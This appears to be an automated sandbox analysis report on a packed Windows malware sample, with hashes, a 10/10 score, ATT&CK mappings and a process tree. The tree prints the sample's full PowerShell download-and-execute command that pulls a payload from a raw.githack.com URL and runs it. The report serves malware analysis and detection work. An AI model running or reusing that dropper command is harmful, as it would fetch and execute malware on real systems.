17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3

Analysis

max time kernel
80s
max time network
19s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 21:14

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General

Target

17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3N.exe
Size

89KB
MD5

8ab6d02d09997d5a1db2420aa60bb0e0
SHA1

67d2e628591e369c658cc2a65aa88b1fb8eb5863
SHA256

17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3
SHA512

8ed4116295add2915c4957f4c5af54d6a7f02d3b961278e63dd7fe730d6f41686550b3b2156cdce2df2e848358b8ece38157ace9762162a071aed3a7670d7447
SSDEEP

1536:zMFWeATa+8j6IuQ1crSgUZdnXAvU/XPNwsWh/5tDdWcFfjEQM3U0LRMaE:I7Z+LIB/n4U/fid9jpNfjEB37MaE

Score

10^/10

execution upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://raw.githack.com/i87924hgasdhg/hgytiryty/master/busybox

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	1636	powershell.exe
7	1636	powershell.exe
8	1636	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1636	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
6	raw.githubusercontent.com
7	raw.githubusercontent.com
8	raw.githubusercontent.com

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1976-0-0x0000000000400000-0x000000000040E000-memory.dmp	upx
behavioral1/memory/1976-15-0x0000000000400000-0x000000000040E000-memory.dmp	upx

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1636	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1636	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1976 wrote to memory of 2012	1976	17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3N.exe	31
PID 1976 wrote to memory of 2012	1976	17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3N.exe	31
PID 1976 wrote to memory of 2012	1976	17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3N.exe	31
PID 2012 wrote to memory of 1636	2012	cmd.exe	32
PID 2012 wrote to memory of 1636	2012	cmd.exe	32
PID 2012 wrote to memory of 1636	2012	cmd.exe	32
PID 1976 wrote to memory of 2720	1976	17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3N.exe	33
PID 1976 wrote to memory of 2720	1976	17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3N.exe	33
PID 1976 wrote to memory of 2720	1976	17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3N.exe	33

C:\Users\Admin\AppData\Local\Temp\17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3N.exe
"C:\Users\Admin\AppData\Local\Temp\17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3N.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1976
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy unrestricted -Command (new-object System.Net.WebClient).Downloadfile('https://raw.githack.com/i87924hgasdhg/hgytiryty/master/busybox', 'that3.exe')
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2012
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy unrestricted -Command (new-object System.Net.WebClient).Downloadfile('https://raw.githack.com/i87924hgasdhg/hgytiryty/master/busybox', 'that3.exe')
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1636
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c that3.exe
  2⤵
  PID:2720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1636-5-0x000007FEF61FE000-0x000007FEF61FF000-memory.dmp

Filesize
4KB

Download
memory/1636-6-0x000000001B270000-0x000000001B552000-memory.dmp

Filesize
2.9MB

Download
memory/1636-7-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

Filesize
9.6MB

Download
memory/1636-9-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

Filesize
9.6MB

Download
memory/1636-8-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download
memory/1636-10-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

Filesize
9.6MB

Download
memory/1636-11-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

Filesize
9.6MB

Download
memory/1636-12-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

Filesize
9.6MB

Download
memory/1636-13-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

Filesize
9.6MB

Download
memory/1976-0-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/1976-15-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download